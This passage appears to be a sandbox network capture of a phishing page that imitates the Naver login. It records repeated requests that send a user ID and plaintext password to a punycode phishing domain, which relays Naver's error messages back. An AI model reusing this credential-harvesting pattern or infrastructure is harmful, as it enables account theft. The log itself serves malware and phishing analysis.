b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type\|\|0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],!(!c.selected&&i!==e\|\|(k.optDisabled?c.disabled:null!==c.getAttrib
2025-01-14 07:13:06 UTC	6361	IN	Data Raw: 3d 61 2e 78 68 72 28 29 2c 67 3d 2b 2b 57 63 3b 69 66 28 66 2e 6f 70 65 6e 28 61 2e 74 79 70 65 2c 61 2e 75 72 6c 2c 61 2e 61 73 79 6e 63 2c 61 2e 75 73 65 72 6e 61 6d 65 2c 61 2e 70 61 73 73 77 6f 72 64 29 2c 61 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 65 20 69 6e 20 61 2e 78 68 72 46 69 65 6c 64 73 29 66 5b 65 5d 3d 61 2e 78 68 72 46 69 65 6c 64 73 5b 65 5d 3b 61 2e 6d 69 6d 65 54 79 70 65 26 26 66 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 66 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 61 2e 6d 69 6d 65 54 79 70 65 29 2c 61 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 63 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 63 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 3d 22 58 4d 4c 48 74 74 70 Data Ascii: =a.xhr(),g=++Wc;if(f.open(a.type,a.url,a.async,a.username,a.password),a.xhrFields)for(e in a.xhrFields)f[e]=a.xhrFields[e];a.mimeType&&f.overrideMimeType&&f.overrideMimeType(a.mimeType),a.crossDomain\|\|c["X-Requested-With"]\|\|(c["X-Requested-With"]="XMLHttp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	60503	223.130.195.167	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:05 UTC	630	OUT	GET /getLoginStatus?callback=showGNB&charset=utf-8&svc=nid&template=gnb_utf8&one_naver=1 HTTP/1.1 Host: static.nid.naver.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:05 UTC	190	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Jan 2025 07:13:05 GMT Content-Type: application/json;charset=UTF-8 Content-Length: 152 Connection: close X-Content-Type-Options: nosniff
2025-01-14 07:13:05 UTC	152	IN	Data Raw: 20 73 68 6f 77 47 4e 42 28 7b 22 6c 6f 67 69 6e 49 64 22 3a 22 22 2c 20 22 6c 6f 67 69 6e 47 72 6f 75 70 49 64 22 3a 22 22 2c 20 22 6e 69 63 6b 4e 61 6d 65 22 3a 22 22 2c 20 22 69 6d 61 67 65 55 72 6c 22 3a 22 22 2c 20 22 6c 6f 67 69 6e 53 74 61 74 75 73 22 3a 22 22 20 2c 22 6d 65 43 6f 75 6e 74 22 3a 30 2c 20 22 74 61 6c 6b 43 6f 75 6e 74 22 3a 30 2c 20 22 64 61 74 65 22 3a 22 32 35 30 31 22 2c 20 22 6d 65 6d 62 65 72 73 68 69 70 22 3a 22 22 7d 29 3b Data Ascii: showGNB({"loginId":"", "loginGroupId":"", "nickName":"", "imageUrl":"", "loginStatus":"" ,"meCount":0, "talkCount":0, "date":"2501", "membership":""});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	60506	223.130.195.167	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:05 UTC	373	OUT	GET /images/web/user/sp_u_skip.png HTTP/1.1 Host: static.nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:05 UTC	300	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Jan 2025 07:13:05 GMT Content-Type: image/png Content-Length: 967 Last-Modified: Tue, 02 Nov 2021 11:50:30 GMT Connection: close ETag: "61812606-3c7" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2025-01-14 07:13:05 UTC	967	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 04 00 00 00 29 08 06 00 00 00 12 c3 88 96 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 30 2d 63 30 36 31 20 36 34 2e 31 34 30 39 34 39 2c 20 32 30 31 30 2f 31 32 2f 30 37 2d 31 30 3a 35 37 3a 30 31 20 20 Data Ascii: PNGIHDR)tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	60507	223.130.195.167	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:05 UTC	380	OUT	GET /images/ui/myinfo/pc_sp_txt_shape.png HTTP/1.1 Host: static.nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:05 UTC	302	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Jan 2025 07:13:05 GMT Content-Type: image/png Content-Length: 6780 Last-Modified: Tue, 02 Nov 2021 11:50:27 GMT Connection: close ETag: "61812603-1a7c" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2025-01-14 07:13:05 UTC	6780	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 28 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 31 31 20 37 39 2e 31 35 38 33 32 35 2c 20 32 30 31 35 2f 30 39 2f 31 30 2d 30 31 3a 31 30 3a 32 30 20 20 Data Ascii: PNGIHDR<qtEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	60508	223.130.195.167	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:05 UTC	372	OUT	GET /images/web/user/ci_naver.png HTTP/1.1 Host: static.nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:06 UTC	300	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Jan 2025 07:13:05 GMT Content-Type: image/png Content-Length: 560 Last-Modified: Tue, 02 Nov 2021 11:50:29 GMT Connection: close ETag: "61812605-230" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2025-01-14 07:13:06 UTC	560	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3f 00 00 00 0b 08 06 00 00 00 c8 b4 55 64 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 01 d2 49 44 41 54 78 da b4 56 d1 6d c2 40 0c 0d a8 03 64 83 a6 03 54 a5 1b c0 7f 3f c2 04 84 09 0a 13 d0 4c d0 64 02 c2 04 a4 52 ff 03 13 14 d4 01 9a 11 b2 41 fb 5c f9 aa c3 f8 2e 01 a5 96 ac 24 67 e7 ce cf 7e be bb c1 fd 7b f0 1d 9c 4a 0d 7d fc 7c 0a 1a fa 80 bd c2 63 6c d9 77 b0 4d ec 1f e0 13 e1 f1 15 9c 4b 01 df 39 ec 6b bc 27 c2 96 c1 b6 b4 e6 f8 c0 63 24 7c 68 9d 95 58 5f 93 09 e6 da 29 58 a4 ec a0 39 7c 4b fa 18 2a 0e 04 64 1d 5c 26 89 6b 1c 01 85 78 a6 8a 2d 16 c9 93 c0 6b 02 14 f4 2b 94 c4 2d d6 7b 71 81 ff 0d 0c 0e c9 05 93 ce 3c b6 Data Ascii: PNGIHDR?UdtEXtSoftwareAdobe ImageReadyqe<IDATxVm@dT?LdRA\.$g~{J}\|clwMK9k'c$\|hX_)X9\|K*d\&kx-k+-{q<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	60511	223.130.195.167	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:06 UTC	427	OUT	GET /getLoginStatus?callback=showGNB&charset=utf-8&svc=nid&template=gnb_utf8&one_naver=1 HTTP/1.1 Host: static.nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:07 UTC	190	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Jan 2025 07:13:06 GMT Content-Type: application/json;charset=UTF-8 Content-Length: 152 Connection: close X-Content-Type-Options: nosniff
2025-01-14 07:13:07 UTC	152	IN	Data Raw: 20 73 68 6f 77 47 4e 42 28 7b 22 6c 6f 67 69 6e 49 64 22 3a 22 22 2c 20 22 6c 6f 67 69 6e 47 72 6f 75 70 49 64 22 3a 22 22 2c 20 22 6e 69 63 6b 4e 61 6d 65 22 3a 22 22 2c 20 22 69 6d 61 67 65 55 72 6c 22 3a 22 22 2c 20 22 6c 6f 67 69 6e 53 74 61 74 75 73 22 3a 22 22 20 2c 22 6d 65 43 6f 75 6e 74 22 3a 30 2c 20 22 74 61 6c 6b 43 6f 75 6e 74 22 3a 30 2c 20 22 64 61 74 65 22 3a 22 32 35 30 31 22 2c 20 22 6d 65 6d 62 65 72 73 68 69 70 22 3a 22 22 7d 29 3b Data Ascii: showGNB({"loginId":"", "loginGroupId":"", "nickName":"", "imageUrl":"", "loginStatus":"" ,"meCount":0, "talkCount":0, "date":"2501", "membership":""});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	60513	110.93.159.38	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:06 UTC	348	OUT	GET /favicon.ico HTTP/1.1 Host: nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:07 UTC	637	IN	HTTP/1.1 200 OK date: Tue, 14 Jan 2025 07:13:07 GMT content-type: image/x-icon content-length: 1150 last-modified: Tue, 20 Aug 2024 11:04:13 GMT etag: "66c4782d-47e" accept-ch: dpr,device-memory,viewport-width,rtt,downlink,ect,lang accept-ch: ua-arch,ua-platform,ua-platform-version,ua-model,ua-full-version,ua,ua-mobile accept-ch: sec-ch-ua-arch,sec-ch-ua-platform,sec-ch-ua-platform-version,sec-ch-ua-model,sec-ch-ua-full-version,sec-ch-ua-full-version-list,sec-ch-ua,sec-ch-ua-mobile accept-ch-lifetime: 86400 x-ua-compatible: IE=edge accept-ranges: bytes referrer-policy: unsafe-url server: nfront connection: close
2025-01-14 07:13:07 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 65 b7 03 f2 65 b7 03 ff 65 b7 03 ff 65 b7 03 ff 65 b7 03 ff 65 b7 03 ff 65 b7 03 ff 65 b7 03 ff 65 b7 03 ff 65 b7 03 ff 65 b7 03 ff 65 b7 03 ff 65 b7 03 ff 65 b7 03 ff 65 b7 03 ff 65 b7 03 f2 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 64 ba 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 63 be 03 ff 61 Data Ascii: h( eeeeeeeeeeeeeeeeddddddddddddddddcccccccccccccccca

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	60515	45.14.246.94	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:11 UTC	775	OUT	GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781678 HTTP/1.1 Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:15 UTC	247	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:13:11 GMT Server: Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1 X-Powered-By: PHP/8.2.12 Content-Length: 104 Connection: close Content-Type: text/plain;charset=UTF-8
2025-01-14 07:13:15 UTC	104	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 20 22 70 77 64 22 2c 20 22 70 22 3a 20 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 7d Data Ascii: {"code": "pwd", "p": "\n \n "}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	60516	45.14.246.94	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:16 UTC	455	OUT	GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781678 HTTP/1.1 Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:23 UTC	247	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:13:16 GMT Server: Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1 X-Powered-By: PHP/8.2.12 Content-Length: 422 Connection: close Content-Type: text/plain;charset=UTF-8
2025-01-14 07:13:23 UTC	422	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 20 22 70 77 64 22 2c 20 22 70 22 3a 20 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 75 63 35 34 34 5c 75 63 37 37 34 5c 75 62 35 31 34 28 5c 75 62 38 35 63 5c 75 61 64 66 38 5c 75 63 37 37 38 20 5c 75 63 38 30 34 5c 75 64 36 35 34 5c 75 62 63 38 38 5c 75 64 36 33 38 2c 20 5c 75 62 38 35 63 5c 75 61 64 66 38 5c 75 63 37 37 38 20 5c 75 63 38 30 34 5c 75 63 36 61 39 20 5c 75 63 35 34 34 5c 75 63 37 37 34 5c 75 62 35 31 34 29 20 5c 75 62 36 31 30 5c 75 62 32 39 34 20 5c 75 62 65 34 34 5c 75 62 63 30 30 5c 75 62 63 38 38 5c 75 64 36 33 38 5c 75 61 63 30 30 20 5c 75 63 37 39 38 5c 75 62 61 62 62 20 5c 75 62 34 31 38 5c 75 63 35 63 38 5c 75 63 32 62 35 Data Ascii: {"code": "pwd", "p": "\n \uc544\uc774\ub514(\ub85c\uadf8\uc778 \uc804\ud654\ubc88\ud638, \ub85c\uadf8\uc778 \uc804\uc6a9 \uc544\uc774\ub514) \ub610\ub294 \ube44\ubc00\ubc88\ud638\uac00 \uc798\ubabb \ub418\uc5c8\uc2b5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	60517	45.14.246.94	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:20 UTC	775	OUT	GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781679 HTTP/1.1 Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:27 UTC	247	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:13:20 GMT Server: Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1 X-Powered-By: PHP/8.2.12 Content-Length: 422 Connection: close Content-Type: text/plain;charset=UTF-8
2025-01-14 07:13:27 UTC	422	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 20 22 70 77 64 22 2c 20 22 70 22 3a 20 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 75 63 35 34 34 5c 75 63 37 37 34 5c 75 62 35 31 34 28 5c 75 62 38 35 63 5c 75 61 64 66 38 5c 75 63 37 37 38 20 5c 75 63 38 30 34 5c 75 64 36 35 34 5c 75 62 63 38 38 5c 75 64 36 33 38 2c 20 5c 75 62 38 35 63 5c 75 61 64 66 38 5c 75 63 37 37 38 20 5c 75 63 38 30 34 5c 75 63 36 61 39 20 5c 75 63 35 34 34 5c 75 63 37 37 34 5c 75 62 35 31 34 29 20 5c 75 62 36 31 30 5c 75 62 32 39 34 20 5c 75 62 65 34 34 5c 75 62 63 30 30 5c 75 62 63 38 38 5c 75 64 36 33 38 5c 75 61 63 30 30 20 5c 75 63 37 39 38 5c 75 62 61 62 62 20 5c 75 62 34 31 38 5c 75 63 35 63 38 5c 75 63 32 62 35 Data Ascii: {"code": "pwd", "p": "\n \uc544\uc774\ub514(\ub85c\uadf8\uc778 \uc804\ud654\ubc88\ud638, \ub85c\uadf8\uc778 \uc804\uc6a9 \uc544\uc774\ub514) \ub610\ub294 \ube44\ubc00\ubc88\ud638\uac00 \uc798\ubabb \ub418\uc5c8\uc2b5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	60518	45.14.246.94	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:28 UTC	455	OUT	GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781679 HTTP/1.1 Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:33 UTC	247	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:13:28 GMT Server: Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1 X-Powered-By: PHP/8.2.12 Content-Length: 422 Connection: close Content-Type: text/plain;charset=UTF-8
2025-01-14 07:13:33 UTC	422	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 20 22 70 77 64 22 2c 20 22 70 22 3a 20 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 75 63 35 34 34 5c 75 63 37 37 34 5c 75 62 35 31 34 28 5c 75 62 38 35 63 5c 75 61 64 66 38 5c 75 63 37 37 38 20 5c 75 63 38 30 34 5c 75 64 36 35 34 5c 75 62 63 38 38 5c 75 64 36 33 38 2c 20 5c 75 62 38 35 63 5c 75 61 64 66 38 5c 75 63 37 37 38 20 5c 75 63 38 30 34 5c 75 63 36 61 39 20 5c 75 63 35 34 34 5c 75 63 37 37 34 5c 75 62 35 31 34 29 20 5c 75 62 36 31 30 5c 75 62 32 39 34 20 5c 75 62 65 34 34 5c 75 62 63 30 30 5c 75 62 63 38 38 5c 75 64 36 33 38 5c 75 61 63 30 30 20 5c 75 63 37 39 38 5c 75 62 61 62 62 20 5c 75 62 34 31 38 5c 75 63 35 63 38 5c 75 63 32 62 35 Data Ascii: {"code": "pwd", "p": "\n \uc544\uc774\ub514(\ub85c\uadf8\uc778 \uc804\ud654\ubc88\ud638, \ub85c\uadf8\uc778 \uc804\uc6a9 \uc544\uc774\ub514) \ub610\ub294 \ube44\ubc00\ubc88\ud638\uac00 \uc798\ubabb \ub418\uc5c8\uc2b5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	60519	45.14.246.94	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:35 UTC	775	OUT	GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781680 HTTP/1.1 Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:40 UTC	247	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:13:36 GMT Server: Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1 X-Powered-By: PHP/8.2.12 Content-Length: 422 Connection: close Content-Type: text/plain;charset=UTF-8
2025-01-14 07:13:40 UTC	422	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 20 22 70 77 64 22 2c 20 22 70 22 3a 20 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 75 63 35 34 34 5c 75 63 37 37 34 5c 75 62 35 31 34 28 5c 75 62 38 35 63 5c 75 61 64 66 38 5c 75 63 37 37 38 20 5c 75 63 38 30 34 5c 75 64 36 35 34 5c 75 62 63 38 38 5c 75 64 36 33 38 2c 20 5c 75 62 38 35 63 5c 75 61 64 66 38 5c 75 63 37 37 38 20 5c 75 63 38 30 34 5c 75 63 36 61 39 20 5c 75 63 35 34 34 5c 75 63 37 37 34 5c 75 62 35 31 34 29 20 5c 75 62 36 31 30 5c 75 62 32 39 34 20 5c 75 62 65 34 34 5c 75 62 63 30 30 5c 75 62 63 38 38 5c 75 64 36 33 38 5c 75 61 63 30 30 20 5c 75 63 37 39 38 5c 75 62 61 62 62 20 5c 75 62 34 31 38 5c 75 63 35 63 38 5c 75 63 32 62 35 Data Ascii: {"code": "pwd", "p": "\n \uc544\uc774\ub514(\ub85c\uadf8\uc778 \uc804\ud654\ubc88\ud638, \ub85c\uadf8\uc778 \uc804\uc6a9 \uc544\uc774\ub514) 